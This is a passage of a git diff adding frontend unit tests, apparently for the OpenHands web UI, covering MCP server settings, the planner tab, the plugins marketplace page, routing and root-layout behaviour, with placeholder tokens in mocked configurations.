+        ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+        mcp_config: {
+          slack: {
+            command: "npx",
+            args: ["-y", "@zencoderai/slack-mcp-server"],
+            env: { SLACK_BOT_TOKEN: "xoxb-abc", SLACK_TEAM_ID: "T01" },
+          },
+        },
+      },
+    });
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      settingsWithSlack,
+    );
+    const deleteSpy = vi
+      .spyOn(SettingsService, "deleteMcpServer")
+      .mockResolvedValue(true);
+
+    renderPage();
+
+    fireEvent.click(await screen.findByTestId("mcp-server-item"));
+    fireEvent.click(await screen.findByTestId("mcp-custom-editor-delete"));
+
+    const confirmBtn = await screen.findByTestId("confirm-button");
+    fireEvent.click(confirmBtn);
+
+    await waitFor(() => expect(deleteSpy).toHaveBeenCalledTimes(1));
+    expect(deleteSpy).toHaveBeenCalledWith("slack");
+  });
+
+  it("shows the catalog description and URL on installed server cards", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          mcp_config: {
+            github: {
+              url: "https://api.githubcopilot.com/mcp/",
+              auth: { strategy: "bearer", value: "github_pat_test" },
+            },
+          },
+        },
+      }),
+    );
+
+    renderPage();
+
+    const card = await screen.findByTestId("mcp-server-item");
+    expect(
+      within(card).getByTestId("mcp-server-description-github"),
+    ).toHaveTextContent(
+      "Search code, manage issues and pull requests, and inspect repos via the GitHub API.",
+    );
+    expect(
+      within(card).getByTestId("mcp-server-detail-github"),
+    ).toHaveTextContent("https://api.githubcopilot.com/mcp/");
+  });
+
+  it("shows Tavily marketplace toggle as add-only when installed", async () => {
+    // Library cards always show the add (+) affordance so users can
+    // install multiple instances of the same template.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          mcp_config: {
+            tavily: {
+              command: "npx",
+              args: ["-y", "tavily-mcp"],
+              env: { TAVILY_API_KEY: "tvly-secret" },
+            },
+          },
+        },
+      }),
+    );
+
+    renderPage();
+
+    await screen.findByTestId("mcp-marketplace-card-tavily");
+    expect(screen.getByTestId("mcp-marketplace-toggle-tavily")).toHaveAttribute(
+      "aria-checked",
+      "false",
+    );
+    expect(screen.getByTestId("mcp-installed-list")).toBeInTheDocument();
+  });
+
+  it("opens the install modal in add-only mode for a marketplace tile that's already installed", async () => {
+    // Regression test: clicking an installed marketplace tile must
+    // open a fresh "Install" modal so the user can add a second
+    // instance (e.g. a second Slack workspace). Previously this
+    // coerced into edit mode and `Save changes` overwrote the
+    // existing entry, so the second instance never landed and the
+    // first one got clobbered.
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      buildSettings({
+        agent_settings: {
+          ...MOCK_DEFAULT_USER_SETTINGS.agent_settings,
+          mcp_config: {
+            slack: {
+              command: "npx",
+              args: ["-y", "@zencoderai/slack-mcp-server"],
+              env: { SLACK_BOT_TOKEN: "xoxb-old", SLACK_TEAM_ID: "T01" },
+            },
+          },
+        },
+      }),
+    );
+    const saveSpy = vi
+      .spyOn(SettingsService, "createMcpServer")
+      .mockResolvedValue(true);
+
+    renderPage();
+
+    const tile = await screen.findByTestId("mcp-marketplace-card-slack");
+    expect(screen.getByTestId("mcp-marketplace-toggle-slack")).toHaveAttribute(
+      "aria-checked",
+      "false",
+    );
+    fireEvent.click(tile);
+
+    await screen.findByTestId("mcp-install-modal");
+    // Action label confirms add-only semantics (no `Save changes`).
+    expect(screen.getByTestId("mcp-install-submit")).toHaveTextContent(
+      "MCP$INSTALL_BUTTON",
+    );
+
+    fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_BOT_TOKEN"), {
+      target: { value: "xoxb-new" },
+    });
+    fireEvent.change(screen.getByTestId("mcp-install-field-SLACK_TEAM_ID"), {
+      target: { value: "T02" },
+    });
+    fireEvent.click(screen.getByTestId("mcp-install-submit"));
+
+    await waitFor(() => expect(saveSpy).toHaveBeenCalledTimes(1));
+    expect(saveSpy).toHaveBeenCalledWith("slack_1", {
+      transport: "stdio",
+      command: "npx",
+      args: ["-y", "@zencoderai/slack-mcp-server"],
+      env: { SLACK_BOT_TOKEN: "xoxb-new", SLACK_TEAM_ID: "T02" },
+    });
+  });
+
+  it("opens the custom server editor when the header 'Add custom server' button is clicked", async () => {
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(buildSettings());
+
+    renderPage();
+
+    const addCustomBtn = await screen.findByTestId("mcp-add-custom-server");
+    fireEvent.click(addCustomBtn);
+
+    await waitFor(() => {
+      expect(screen.getByTestId("mcp-custom-editor")).toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/routes/mcp.test.tsx b/__tests__/routes/mcp.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..5457d7a5f2f8cb1f58ea903db83e543efe94c31e
--- /dev/null
+++ b/__tests__/routes/mcp.test.tsx
@@ -0,0 +1,8 @@
+import { describe, expect, it } from "vitest";
+import * as mcpRoute from "#/routes/mcp";
+
+describe("mcp route", () => {
+  it("does not gate the MCP page behind an ACP redirect", () => {
+    expect("clientLoader" in mcpRoute).toBe(false);
+  });
+});
diff --git a/__tests__/routes/planner-tab.test.tsx b/__tests__/routes/planner-tab.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..011f8649ed9211032383a0743ccc54cb5f61570d
--- /dev/null
+++ b/__tests__/routes/planner-tab.test.tsx
@@ -0,0 +1,133 @@
+import { screen, act } from "@testing-library/react";
+import { describe, expect, it, vi, beforeEach, afterEach } from "vitest";
+import PlannerTab from "#/routes/planner-tab";
+import { renderWithProviders } from "../../test-utils";
+import { useConversationStore } from "#/stores/conversation-store";
+
+// Mock the handle plan click hook
+vi.mock("#/hooks/use-handle-plan-click", () => ({
+  useHandlePlanClick: () => ({
+    handlePlanClick: vi.fn(),
+  }),
+}));
+
+describe("PlannerTab", () => {
+  const originalRAF = global.requestAnimationFrame;
+
+  beforeEach(() => {
+    vi.clearAllMocks();
+    // Make requestAnimationFrame execute synchronously for testing
+    global.requestAnimationFrame = (cb: FrameRequestCallback) => {
+      cb(0);
+      return 0;
+    };
+    // Reset store state to defaults
+    useConversationStore.setState({
+      planContent: null,
+      conversationMode: "code",
+    });
+  });
+
+  afterEach(() => {
+    global.requestAnimationFrame = originalRAF;
+  });
+
+  describe("Create a plan button", () => {
+    it("should be enabled when conversation mode is 'code'", () => {
+      // Arrange
+      useConversationStore.setState({
+        planContent: null,
+        conversationMode: "code",
+      });
+
+      // Act
+      renderWithProviders(<PlannerTab />);
+
+      // Assert
+      const button = screen.getByRole("button");
+      expect(button).not.toBeDisabled();
+    });
+
+    it("should be disabled when conversation mode is 'plan'", () => {
+      // Arrange
+      useConversationStore.setState({
+        planContent: null,
+        conversationMode: "plan",
+      });
+
+      // Act
+      renderWithProviders(<PlannerTab />);
+
+      // Assert
+      const button = screen.getByRole("button");
+      expect(button).toBeDisabled();
+    });
+  });
+
+  describe("Auto-scroll behavior", () => {
+    it("should scroll to bottom when plan content is updated", () => {
+      // Arrange
+      const scrollTopSetter = vi.fn();
+      const mockScrollHeight = 500;
+
+      // Mock scroll properties on HTMLElement prototype
+      const originalScrollHeightDescriptor = Object.getOwnPropertyDescriptor(
+        HTMLElement.prototype,
+        "scrollHeight",
+      );
+      const originalScrollTopDescriptor = Object.getOwnPropertyDescriptor(
+        HTMLElement.prototype,
+        "scrollTop",
+      );
+
+      Object.defineProperty(HTMLElement.prototype, "scrollHeight", {
+        get: () => mockScrollHeight,
+        configurable: true,
+      });
+      Object.defineProperty(HTMLElement.prototype, "scrollTop", {
+        get: () => 0,
+        set: scrollTopSetter,
+        configurable: true,
+      });
+
+      try {
+        // Render with initial plan content
+        useConversationStore.setState({
+          planContent: "# Initial Plan",
+          conversationMode: "plan",
+        });
+
+        renderWithProviders(<PlannerTab />);
+
+        // Clear calls from initial render
+        scrollTopSetter.mockClear();
+
+        // Act - Update plan content which should trigger auto-scroll
+        act(() => {
+          useConversationStore.setState({
+            planContent: "# Updated Plan\n\nMore content added here.",
+          });
+        });
+
+        // Assert - scrollTop should be set to scrollHeight
+        expect(scrollTopSetter).toHaveBeenCalledWith(mockScrollHeight);
+      } finally {
+        // Restore original descriptors
+        if (originalScrollHeightDescriptor) {
+          Object.defineProperty(
+            HTMLElement.prototype,
+            "scrollHeight",
+            originalScrollHeightDescriptor,
+          );
+        }
+        if (originalScrollTopDescriptor) {
+          Object.defineProperty(
+            HTMLElement.prototype,
+            "scrollTop",
+            originalScrollTopDescriptor,
+          );
+        }
+      }
+    });
+  });
+});
diff --git a/__tests__/routes/plugins-page.test.tsx b/__tests__/routes/plugins-page.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..c471f58acc57a18aafa49f10f51bcceef0523bf2
--- /dev/null
+++ b/__tests__/routes/plugins-page.test.tsx
@@ -0,0 +1,320 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { render, screen, fireEvent, waitFor } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import SkillsPluginsScreen from "#/routes/skills-plugins";
+import SettingsService from "#/api/settings-service/settings-service.api";
+import PluginsService, { type MarketplacePlugin } from "#/api/plugins-service";
+import PluginsManagementService, {
+  type InstalledPluginInfo,
+} from "#/api/plugins-management-service";
+import {
+  __resetActiveStoreForTests,
+  setActiveSelection,
+  setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { MOCK_DEFAULT_USER_SETTINGS } from "#/mocks/handlers";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { buildPluginLaunchPath } from "#/utils/plugin-launch-url";
+
+const navigateMock = vi.fn();
+
+vi.mock("#/context/navigation-context", () => ({
+  useNavigation: () => ({
+    navigate: navigateMock,
+    currentPath: "/plugins",
+    conversationId: null,
+    isNavigating: false,
+  }),
+  NavigationProvider: ({ children }: { children: React.ReactNode }) => children,
+}));
+
+const localBackend: Backend = {
+  id: "local",
+  name: "Local",
+  host: "http://127.0.0.1:8001",
+  apiKey: "",
+  kind: "local",
+};
+
+function buildCatalogPlugin(
+  overrides: Partial<MarketplacePlugin> = {},
+): MarketplacePlugin {
+  return {
+    name: "demo-plugin",
+    description: "A demo plugin",
+    source: "github:OpenHands/extensions",
+    ref: null,
+    repo_path: "plugins/demo-plugin",
+    installed: false,
+    ...overrides,
+  };
+}
+
+function buildInstalledPlugin(
+  overrides: Partial<InstalledPluginInfo> = {},
+): InstalledPluginInfo {
+  return {
+    name: "demo-plugin",
+    version: "1.0.0",
+    description: "A demo plugin",
+    enabled: true,
+    source: "github:OpenHands/extensions",
+    resolved_ref: null,
+    repo_path: "plugins/demo-plugin",
+    installed_at: "2026-06-01T00:00:00Z",
+    install_path: "/home/.openhands/plugins/installed/demo-plugin",
+    ...overrides,
+  };
+}
+
+function renderPluginsScreen() {
+  return render(<SkillsPluginsScreen />, {
+    wrapper: ({ children }) => (
+      <QueryClientProvider
+        client={
+          new QueryClient({ defaultOptions: { queries: { retry: false } } })
+        }
+      >
+        <ActiveBackendProvider>{children}</ActiveBackendProvider>
+      </QueryClientProvider>
+    ),
+  });
+}
+
+describe("SkillsPluginsScreen", () => {
+  beforeEach(() => {
+    vi.restoreAllMocks();
+    navigateMock.mockReset();
+    __resetActiveStoreForTests();
+    setRegisteredBackends([localBackend]);
+    setActiveSelection({ backendId: localBackend.id });
+    vi.spyOn(SettingsService, "getSettings").mockResolvedValue(
+      MOCK_DEFAULT_USER_SETTINGS,
+    );
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([]);
+    vi.spyOn(PluginsService, "getLocalPlugins").mockResolvedValue([]);
+    vi.spyOn(
+      PluginsManagementService,
+      "listInstalledPlugins",
+    ).mockResolvedValue([]);
+  });
+
+  it("renders an Install action for a catalog plugin that is not installed", async () => {
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      buildCatalogPlugin(),
+    ]);
+
+    renderPluginsScreen();
+
+    expect(
+      await screen.findByTestId("plugin-install-demo-plugin"),
+    ).toBeInTheDocument();
+  });
+
+  it("renders an enable/disable toggle reflecting state for an installed plugin", async () => {
+    vi.spyOn(
+      PluginsManagementService,
+      "listInstalledPlugins",
+    ).mockResolvedValue([buildInstalledPlugin({ enabled: true })]);
+
+    renderPluginsScreen();
+
+    const toggle = await screen.findByTestId("plugin-toggle-demo-plugin");
+    expect(toggle).toHaveAttribute("aria-checked", "true");
+  });
+
+  it("installs a catalog plugin with its coordinates when Install is clicked", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      buildCatalogPlugin(),
+    ]);
+    const installSpy = vi
+      .spyOn(PluginsManagementService, "installPlugin")
+      .mockResolvedValue(buildInstalledPlugin());
+
+    renderPluginsScreen();
+    await user.click(await screen.findByTestId("plugin-install-demo-plugin"));
+
+    await waitFor(() =>
+      expect(installSpy).toHaveBeenCalledWith({
+        source: "github:OpenHands/extensions",
+        ref: null,
+        repo_path: "plugins/demo-plugin",
+      }),
+    );
+  });
+
+  it("toggles an installed plugin off via the card toggle", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(
+      PluginsManagementService,
+      "listInstalledPlugins",
+    ).mockResolvedValue([buildInstalledPlugin({ enabled: true })]);
+    const toggleSpy = vi
+      .spyOn(PluginsManagementService, "setPluginEnabled")
+      .mockResolvedValue({ name: "demo-plugin", enabled: false });
+
+    renderPluginsScreen();
+    await user.click(await screen.findByTestId("plugin-toggle-demo-plugin"));
+
+    await waitFor(() =>
+      expect(toggleSpy).toHaveBeenCalledWith("demo-plugin", false),
+    );
+  });
+
+  it("uninstalls an installed plugin from the detail modal", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(
+      PluginsManagementService,
+      "listInstalledPlugins",
+    ).mockResolvedValue([buildInstalledPlugin()]);
+    const uninstallSpy = vi
+      .spyOn(PluginsManagementService, "uninstallPlugin")
+      .mockResolvedValue({ message: "ok" });
+
+    renderPluginsScreen();
+    await user.click(await screen.findByTestId("plugin-card-demo-plugin"));
+    await user.click(
+      await screen.findByTestId("plugin-detail-uninstall-demo-plugin"),
+    );
+
+    await waitFor(() =>
+      expect(uninstallSpy).toHaveBeenCalledWith("demo-plugin"),
+    );
+  });
+
+  it("shows the plugin's bundled skills and files in the detail modal", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      buildCatalogPlugin({
+        path: "/cache/plugins/demo-plugin",
+        skills: [{ name: "demo-plugin:review", description: "Review code" }],
+        files: ["README.md"],
+      }),
+    ]);
+
+    renderPluginsScreen();
+    await user.click(await screen.findByTestId("plugin-card-demo-plugin"));
+
+    expect(
+      await screen.findByTestId("plugin-bundled-skill-demo-plugin:review"),
+    ).toHaveTextContent("Review code");
+    expect(screen.getByTestId("file-tree-file-README.md")).toBeInTheDocument();
+  });
+
+  it("omits the contents sections when the plugin reports none", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      buildCatalogPlugin(),
+    ]);
+
+    renderPluginsScreen();
+    await user.click(await screen.findByTestId("plugin-card-demo-plugin"));
+
+    await screen.findByTestId("plugin-detail-modal");
+    expect(
+      screen.queryByText("SETTINGS$PLUGINS_SKILLS_IN_BUNDLE"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("plugin-files-section"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("filters the list by the search query", async () => {
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      buildCatalogPlugin({ name: "alpha-plugin" }),
+      buildCatalogPlugin({ name: "beta-plugin" }),
+    ]);
+
+    renderPluginsScreen();
+    await screen.findByTestId("plugin-card-alpha-plugin");
+
+    fireEvent.change(screen.getByTestId("plugins-search-input"), {
+      target: { value: "beta" },
+    });
+
+    expect(
+      screen.queryByTestId("plugin-card-alpha-plugin"),
+    ).not.toBeInTheDocument();
+    expect(screen.getByTestId("plugin-card-beta-plugin")).toBeInTheDocument();
+  });
+
+  it("shows the empty state when there are no plugins", async () => {
+    renderPluginsScreen();
+
+    expect(await screen.findByTestId("plugins-empty")).toBeInTheDocument();
+  });
+
+  it("renders a local plugin as a read-only card without install or toggle controls", async () => {
+    vi.spyOn(PluginsService, "getLocalPlugins").mockResolvedValue([
+      { name: "ambient-plugin", version: "1.0.0", description: "Ambient" },
+    ]);
+
+    renderPluginsScreen();
+
+    expect(
+      await screen.findByTestId("plugin-local-badge-ambient-plugin"),
+    ).toBeInTheDocument();
+    expect(
+      screen.queryByTestId("plugin-install-ambient-plugin"),
+    ).not.toBeInTheDocument();
+    expect(
+      screen.queryByTestId("plugin-toggle-ambient-plugin"),
+    ).not.toBeInTheDocument();
+  });
+
+  it("shows the no-match state when the search excludes everything", async () => {
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      buildCatalogPlugin(),
+    ]);
+
+    renderPluginsScreen();
+    await screen.findByTestId("plugin-card-demo-plugin");
+
+    fireEvent.change(screen.getByTestId("plugins-search-input"), {
+      target: { value: "no-such-plugin-xyz" },
+    });
+
+    expect(screen.getByTestId("plugins-no-match")).toBeInTheDocument();
+  });
+
+  it("navigates to the launch flow with the plugin's coordinates when Start Conversation is clicked", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(PluginsService, "getPluginsMarketplace").mockResolvedValue([
+      buildCatalogPlugin(),
+    ]);
+
+    renderPluginsScreen();
+    await user.click(await screen.findByTestId("plugin-card-demo-plugin"));
+    await user.click(
+      await screen.findByTestId("plugin-detail-start-conversation-demo-plugin"),
+    );
+
+    expect(navigateMock).toHaveBeenCalledWith(
+      buildPluginLaunchPath([
+        {
+          source: "github:OpenHands/extensions",
+          ref: null,
+          repo_path: "plugins/demo-plugin",
+        },
+      ]),
+    );
+  });
+
+  it("omits the Start Conversation action for a local plugin without a source", async () => {
+    const user = userEvent.setup();
+    vi.spyOn(PluginsService, "getLocalPlugins").mockResolvedValue([
+      { name: "ambient-plugin", version: "1.0.0", description: "Ambient" },
+    ]);
+
+    renderPluginsScreen();
+    await user.click(await screen.findByTestId("plugin-card-ambient-plugin"));
+    await screen.findByTestId("plugin-detail-modal");
+
+    expect(
+      screen.queryByTestId("plugin-detail-start-conversation-ambient-plugin"),
+    ).not.toBeInTheDocument();
+  });
+});
diff --git a/__tests__/routes/root-index-route.test.ts b/__tests__/routes/root-index-route.test.ts
new file mode 100644
index 0000000000000000000000000000000000000000..86dc020c7a91cd10a04d3371ac6f933915e44765
--- /dev/null
+++ b/__tests__/routes/root-index-route.test.ts
@@ -0,0 +1,11 @@
+import { describe, expect, it } from "vitest";
+import routes from "#/routes";
+
+describe("root index route", () => {
+  it("renders the home screen at the deployment root without redirecting to /conversations", () => {
+    const rootLayout = routes.find((route) => route.file === "routes/root-layout.tsx");
+    const indexRoute = rootLayout?.children?.find((route) => route.index);
+
+    expect(indexRoute?.file).toBe("routes/index-home.tsx");
+  });
+});
diff --git a/__tests__/routes/root-layout-refetch.test.tsx b/__tests__/routes/root-layout-refetch.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..1f2566743189ba58279757fc3416ff675a1eac03
--- /dev/null
+++ b/__tests__/routes/root-layout-refetch.test.tsx
@@ -0,0 +1,109 @@
+import { act, cleanup, render, screen, waitFor } from "@testing-library/react";
+import { afterEach, describe, expect, it, vi } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { createRoutesStub } from "react-router";
+import MainApp from "#/routes/root-layout";
+
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+
+// Hoisted mocks for useIsAuthed and useConfig to allow dynamic control in tests
+const { useIsAuthedMock, useConfigMock } = vi.hoisted(() => ({
+  useIsAuthedMock: vi.fn(),
+  useConfigMock: vi.fn(),
+}));
+
+vi.mock("#/hooks/query/use-is-authed", () => ({
+  useIsAuthed: () => useIsAuthedMock(),
+}));
+
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => useConfigMock(),
+}));
+
+const DEFAULT_FEATURE_FLAGS = {
+  hide_llm_settings: false,
+  hide_users_page: false,
+};
+
+const RouterStub = createRoutesStub([
+  {
+    Component: MainApp,
+    path: "/",
+    children: [
+      {
+        Component: () => <div data-testid="outlet-content" />,
+        path: "/",
+      },
+      {
+        Component: () => <div data-testid="settings-page" />,
+        path: "/settings",
+      },
+    ],
+  },
+  {
+    Component: () => <div data-testid="login-page" />,
+    path: "/login",
+  },
+]);
+
+describe("MainApp - Auth refetch behavior", () => {
+  afterEach(async () => {
+    // Wait for any pending async operations (e.g., framer-motion LazyMotion async loads)
+    // Use act to flush all pending state updates before cleanup
+    await act(async () => {
+      await new Promise((resolve) => setTimeout(resolve, 100));
+    });
+    cleanup();
+    vi.clearAllMocks();
+  });
+
+  it("should NOT show loading spinner when auth is refetching for an authenticated user", async () => {
+    // Setup: Mock hooks to simulate authenticated user CURRENTLY REFETCHING
+    // This is the state when the auth cache is invalidated and refetching
+    useIsAuthedMock.mockReturnValue({
+      data: true, // Still have cached data showing user is authenticated
+      isLoading: false, // Not initial loading
+      isFetching: true, // IS refetching - this is the key!
+      isError: false,
+    });
+    useConfigMock.mockReturnValue({
+      data: {
+        github_client_id: "test-client-id",
+        feature_flags: DEFAULT_FEATURE_FLAGS,
+      },
+      isLoading: false,
+    });
+
+    const queryClient = new QueryClient({
+      defaultOptions: { queries: { retry: false } },
+    });
+
+    render(<RouterStub initialEntries={["/settings"]} />, {
+      wrapper: ({ children }) => (
+        <QueryClientProvider client={queryClient}>
+          <ActiveBackendProvider>{children}</ActiveBackendProvider>
+        </QueryClientProvider>
+      ),
+    });
+
+    // BUG: The settings page should still be visible during refetch
+    // but the current implementation shows a loading spinner because
+    // shouldRedirectToLogin includes isFetchingAuth in its condition
+    //
+    // This test will FAIL until the bug is fixed.
+    // Current behavior: shows full-page loading spinner, redirects to login
+    // Expected behavior: shows settings page with root-layout, no redirect
+
+    // Wait a tick for any effects to run
+    await waitFor(() => {
+      // The root-layout should be present (not replaced by full-page loading spinner)
+      const rootLayout = screen.queryByTestId("root-layout");
+      // The settings page should remain visible during refetch
+      const settingsPage = screen.queryByTestId("settings-page");
+
+      // These assertions describe the EXPECTED behavior (will fail until bug is fixed)
+      expect(rootLayout).toBeInTheDocument();
+      expect(settingsPage).toBeInTheDocument();
+    });
+  });
+});
diff --git a/__tests__/routes/root-layout.test.tsx b/__tests__/routes/root-layout.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..667fb245ae6e9cfba41011c04f5eaa4d5e6c0c20
--- /dev/null
+++ b/__tests__/routes/root-layout.test.tsx
@@ -0,0 +1,432 @@
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import { fireEvent, render, screen } from "@testing-library/react";
+import { type ReactNode } from "react";
+import { beforeEach, describe, expect, it, vi } from "vitest";
+import { createRoutesStub, data, Link } from "react-router";
+import MainApp, { ErrorBoundary } from "#/routes/root-layout";
+import { I18nKey } from "#/i18n/declaration";
+
+const useConfigMock = vi.fn();
+const useSettingsMock = vi.fn();
+const changeLanguageMock = vi.fn();
+const ensureActiveProfileMock = vi.fn();
+const migrateEnabledSkillsMock = vi.fn();
+const syncTelemetryConsentMock = vi.fn();
+const syncAutomationTelemetryConsentMock = vi.fn();
+const telemetryIdentityMock = vi.fn();
+
+vi.mock("#/hooks/query/use-config", () => ({
+  useConfig: () => useConfigMock(),
+}));
+
+vi.mock("#/hooks/query/use-settings", () => ({
+  useSettings: () => useSettingsMock(),
+}));
+
+vi.mock("#/hooks/use-migrate-enabled-skills", () => ({
+  useMigrateEnabledSkills: () => migrateEnabledSkillsMock(),
+}));
+
+vi.mock("#/hooks/use-sync-telemetry-consent", () => ({
+  useSyncTelemetryConsent: () => syncTelemetryConsentMock(),
+}));
+
+vi.mock("#/hooks/use-sync-automation-telemetry-consent", () => ({
+  useSyncAutomationTelemetryConsent: () => syncAutomationTelemetryConsentMock(),
+}));
+
+vi.mock("#/hooks/use-telemetry-identity", () => ({
+  useTelemetryIdentity: () => telemetryIdentityMock(),
+}));
+
+vi.mock("#/hooks/use-ensure-active-profile", () => ({
+  useEnsureActiveProfile: () => ensureActiveProfileMock(),
+}));
+
+vi.mock(
+  "#/components/features/canvas-extensions/canvas-extensions-runtime",
+  () => ({
+    CanvasExtensionsRuntimeProvider: ({ children }: { children: ReactNode }) =>
+      children,
+  }),
+);
+
+vi.mock("#/hooks/use-app-title", () => ({
+  useAppTitle: () => "OpenHands",
+}));
+
+vi.mock("#/components/features/sidebar/sidebar", () => ({
+  Sidebar: () => <div data-testid="sidebar" />,
+}));
+
+vi.mock("#/components/features/sidebar/sidebar-mobile-menu-bar", () => ({
+  SidebarMobileMenuBar: () => <div data-testid="mobile-menu-bar" />,
+}));
+
+vi.mock("#/components/features/alerts/alert-banner", () => ({
+  AlertBanner: ({
+    errorMessage,
+  }: {
+    errorMessage: string | null | undefined;
+  }) => <div data-testid="alert-banner">{errorMessage}</div>,
+}));
+
+vi.mock("#/components/features/backends/environment-switch-overlay", () => ({
+  default: () => <div data-testid="environment-switch-overlay" />,
+}));
+
+vi.mock("#/components/features/command-menu/command-menu", () => ({
+  CommandMenu: () => <div data-testid="command-menu" />,
+}));
+
+vi.mock("#/components/features/onboarding", () => ({
+  OnboardingHost: () => <div data-testid="onboarding-host" />,
+}));
+
+vi.mock("react-i18next", async (importOriginal) => {
+  const actual = await importOriginal<typeof import("react-i18next")>();
+  return {
+    ...actual,
+    useTranslation: (namespace?: string) => ({
+      t: (key: string) =>
+        namespace === "openhands" ? key : `missing-namespace:${key}`,
+    }),
+  };
+});
+
+vi.mock("#/i18n", () => ({
+  default: {
+    changeLanguage: (...args: unknown[]) => changeLanguageMock(...args),
+  },
+}));
+
+const RouterStub = createRoutesStub([
+  {
+    path: "/",
+    Component: MainApp,
+    children: [
+      {
+        path: "/",
+        Component: () => (
+          <>
+            <div data-testid="outlet-content" />
+            <Link to="/settings" data-testid="rerender-link">
+              Settings
+            </Link>
+          </>
+        ),
+      },
+      {
+        path: "/automations",
+        Component: () => <div data-testid="outlet-content" />,
+      },
+      {
+        path: "/automations/:id",
+        Component: () => <div data-testid="outlet-content" />,
+      },
+      {
+        path: "/conversations",
+        Component: () => <div data-testid="outlet-content" />,
+      },
+      {
+        path: "/conversations/:id",
+        Component: () => <div data-testid="outlet-content" />,
+      },
+      {
+        path: "/settings",
+        Component: () => <div data-testid="outlet-content" />,
+      },
+      {
+        path: "*",
+        Component: () => <div data-testid="outlet-content" />,
+      },
+    ],
+  },
+]);
+
+function renderMainApp(path = "/") {
+  const queryClient = new QueryClient();
+  return render(
+    <QueryClientProvider client={queryClient}>
+      <RouterStub initialEntries={[path]} />
+    </QueryClientProvider>,
+  );
+}
+
+function renderRouteError(thrown: unknown) {
+  const ErrorRouterStub = createRoutesStub([
+    {
+      path: "/",
+      Component: () => null,
+      ErrorBoundary,
+      loader: () => {
+        throw thrown;
+      },
+    },
+  ]);
+
+  return render(<ErrorRouterStub initialEntries={["/"]} />);
+}
+
+describe("root layout", () => {
+  beforeEach(() => {
+    vi.clearAllMocks();
+    useConfigMock.mockReturnValue({
+      isLoading: false,
+      data: {
+        maintenance_start_time: null,
+        faulty_models: [],
+        error_message: null,
+        updated_at: new Date().toISOString(),
+      },
+    });
+    useSettingsMock.mockReturnValue({
+      data: {
+        language: "en",
+        user_consents_to_analytics: true,
+      },
+    });
+  });
+
+  it("shows a loading spinner while config is loading", () => {
+    useConfigMock.mockReturnValue({ isLoading: true, data: null });
+
+    render(
+      <QueryClientProvider client={new QueryClient()}>
+        <RouterStub initialEntries={["/"]} />
+      </QueryClientProvider>,
+    );
+
+    expect(screen.getByTestId("loading-spinner")).toBeInTheDocument();
+  });
+
+  it("does not render the analytics consent modal when analytics consent is missing", async () => {
+    useSettingsMock.mockReturnValue({
+      data: {
+        language: "en",
+        user_consents_to_analytics: null,
+      },
+    });
+
+    renderMainApp();
+
+    expect(screen.getByTestId("sidebar")).toBeInTheDocument();
+    expect(screen.getByTestId("outlet-content")).toBeInTheDocument();
+    // The analytics consent popup was removed from onboarding: a missing
+    // (null) consent value must no longer surface the consent form.
+    expect(
+      screen.queryByTestId("user-capture-consent-form"),
+    ).not.toBeInTheDocument();
+    expect(await screen.findByTestId("command-menu")).toBeInTheDocument();
+  });
+
+  it("renders an identical root-layout className across routes so navigation never shifts the outer container", () => {
+    const paths = [
+      "/",
+      "/automations/abc-123",
+      "/conversations/abc-123",
+      "/settings",
+    ];
+
+    const classNames = paths.map((path) => {
+      const { unmount } = render(
+        <QueryClientProvider client={new QueryClient()}>
+          <RouterStub initialEntries={[path]} />
+        </QueryClientProvider>,
+      );
+      const { className } = screen.getByTestId("root-layout");
+      unmount();
+      return className;
+    });
+
+    expect(new Set(classNames).size).toBe(1);
+  });
+
+  it("initializes layout services and renders the lazy global chrome", async () => {
+    renderMainApp();
+
+    expect(changeLanguageMock).toHaveBeenCalledWith("en");
+    expect(migrateEnabledSkillsMock).toHaveBeenCalledOnce();
+    expect(syncTelemetryConsentMock).toHaveBeenCalledOnce();
+    expect(syncAutomationTelemetryConsentMock).toHaveBeenCalledOnce();
+    expect(telemetryIdentityMock).toHaveBeenCalledOnce();
+    expect(ensureActiveProfileMock).toHaveBeenCalledOnce();
+    expect(document.title).toBe("OpenHands");
+    expect(
+      await screen.findByTestId("environment-switch-overlay"),
+    ).toBeInTheDocument();
